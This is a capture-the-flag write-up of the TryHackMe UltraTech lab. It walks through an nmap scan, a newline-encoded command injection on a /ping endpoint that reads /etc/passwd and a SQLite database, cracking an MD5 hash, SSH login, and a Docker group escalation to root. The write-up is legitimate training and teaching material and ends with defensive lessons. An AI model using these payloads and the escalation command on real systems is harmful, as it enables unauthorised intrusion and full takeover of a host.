UltraTech

TryHackMe Write-Up

Author:	Japi
Platform:	TryHackMe
Room:	UltraTech
Difficulty:	Medium
Date:	February 11, 2026

Focus Areas:

Enumeration | Web Exploitation | Privilege Escalation

Overview

UltraTech is a medium-difficulty room on TryHackMe that simulates a real-world penetration testing scenario. As a security researcher, I was hired to conduct a grey-box security assessment of UltraTech, a technology company developing a web application.

Given Information:

• Company Name: UltraTech

• Target IP Address: 10.48.191.21

• Assessment Type: Grey-box (limited information provided)

This room focuses on several critical security concepts:

• Comprehensive enumeration techniques

• Web application vulnerability assessment

• OS Command Injection exploitation

• Database analysis and password cracking

• Docker container privilege escalation

Enumeration

Initial Network Scan

The first step in any penetration test is enumeration—discovering what services are running on the target system. I started with an aggressive Nmap scan to identify all open ports:

```
nmap -sS -Pn -sV -O -T4 -oN ultratech.txt -p- -vv 10.48.191.21
```

Scan Parameters:

• -sS: SYN stealth scan

• -Pn: Skip host discovery (treat as online)

• -sV: Version detection

• -O: OS detection

• -T4: Aggressive timing

• -p-: Scan all 65,535 ports

• -vv: Very verbose output

Discovered Open Ports

The initial scan revealed 4 open ports:

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 3.0.5
22/tcp	open	ssh	OpenSSH 8.2p1 Ubuntu
8081/tcp	open	http	Node.js Express framework
31331/tcp	open	http	Apache httpd 2.4.41

Web Application Discovery

Directory Enumeration

With two web services identified (ports 8081 and 31331), I proceeded with directory enumeration to discover hidden paths and files.

Port 31331 Enumeration:

```
dirb http://10.48.191.21:31331/
```

Discovered Directories:

• /js/ - JavaScript files directory

• /images/ - Images directory

• /css/ - Stylesheets directory

Port 8081 Enumeration:

```
gobuster dir -u http://10.48.191.21:8081 -w /usr/share/dirb/wordlists/common.txt
```

Critical Findings:

• /ping - Suspicious endpoint

• /auth - Authentication endpoint

Code Analysis - api.js

Examining the api.js file revealed critical information about the application's backend API:

```
const url =
`http://${window.location.hostname}:8081/ping?ip=${window.location.hostname}`
```

Analysis:

This code constructs a URL that calls the /ping endpoint on port 8081, passing the hostname as an ip parameter. This suggested the backend was executing system commands to ping the provided IP address.

Exploitation

OS Command Injection Vulnerability

The /ping endpoint was vulnerable to OS Command Injection. By manipulating the ip parameter, I could execute arbitrary system commands on the server.

Testing Command Injection:

I used URL encoding to chain commands using the newline character (%0A):

```
http://10.48.191.21:8081/ping?ip=10.48.191.21%0Acat%20/etc/passwd
```

URL Breakdown:

• 10.48.191.21 - Valid IP to satisfy ping

• %0A - Newline character (command separator)

• cat%20/etc/passwd - Command to read system users

Result:

Successfully retrieved system user information and discovered user: r00t (a regular user, not the root account)

Database Extraction

I listed files and discovered: utech.db.sqlite

```
http://10.48.191.21:8081/ping?ip=10.48.191.21%0Acat%20utech.db.sqlite
```

Extracted Credentials:

• Username: r00t

• Password Hash: f357a0c52799563c7c7b76c1e7543a32

Password Cracking

Using hash-identifier, I identified the hash as MD5.

```
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Result: Password successfully cracked: n100906

Gaining Initial Access

SSH Authentication

With valid credentials obtained, I attempted SSH access:

```
ssh r00t@10.48.191.21

Password: n100906
```

Success! Gained access as user r00t.

Initial Enumeration

After logging in, I performed basic enumeration:

```
id

uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
```

Critical Discovery: User r00t belongs to the docker group. This is significant because users in the docker group can run Docker containers with elevated privileges, potentially leading to privilege escalation.

Privilege Escalation

Docker Group Exploitation

Being a member of the docker group is a well-known privilege escalation vector. Docker containers run with root privileges by default, and users who can execute Docker commands can mount the host filesystem into a container.

Exploitation Method:

I consulted GTFOBins (a curated list of Unix binaries that can be exploited for privilege escalation) for Docker exploitation techniques.

```
docker run -v /:/mnt --rm -it bash chroot /mnt sh
```

Command Breakdown:

• docker run - Execute a new container

• -v /:/mnt - Mount the host's root filesystem (/) to /mnt in the container

• --rm - Remove container after exit

• -it - Interactive terminal

• bash - Use bash image

• chroot /mnt sh - Change root to the mounted host filesystem

Result: Successfully escalated to root on the host system!

Key Lessons Learned

Thorough Enumeration is Essential

Always scan all ports, examine JavaScript files, and perform comprehensive directory enumeration.

Web Applications are Common Attack Vectors

API endpoints should always validate and sanitize input. Never trust user-supplied data.

OS Command Injection is Extremely Dangerous

Use parameterized commands or safe APIs instead of shell execution.

Password Security Matters

Use modern algorithms like bcrypt, scrypt, or Argon2 instead of MD5.

Principle of Least Privilege

Users should only have permissions necessary for their role. Docker group membership grants near-root access.

Docker Misconfiguration Leads to Compromise

Use rootless Docker when possible and implement proper access controls.

Conclusion

The UltraTech room provides an excellent practical demonstration of a realistic penetration testing workflow:

• Reconnaissance → Comprehensive port and service enumeration

• Discovery → Web application analysis and code review

• Exploitation → OS Command Injection vulnerability

• Access → Database extraction and password cracking

• Escalation → Docker privilege escalation

Attack Chain Summary:

Nmap Scan → Web Enumeration → Code Analysis → Command Injection → Database Extraction → Password Cracking → SSH Access → Docker Group Discovery → Privilege Escalation → Root Access

Final Thoughts:

Security is only as strong as its weakest link. In this scenario, weak input validation enabled command injection, MD5 password hashing facilitated credential compromise, and Docker group misconfiguration allowed privilege escalation. Any one of these issues alone could have prevented full system compromise if properly addressed.

Write-up Author: Japi

Completion Date: February 11, 2026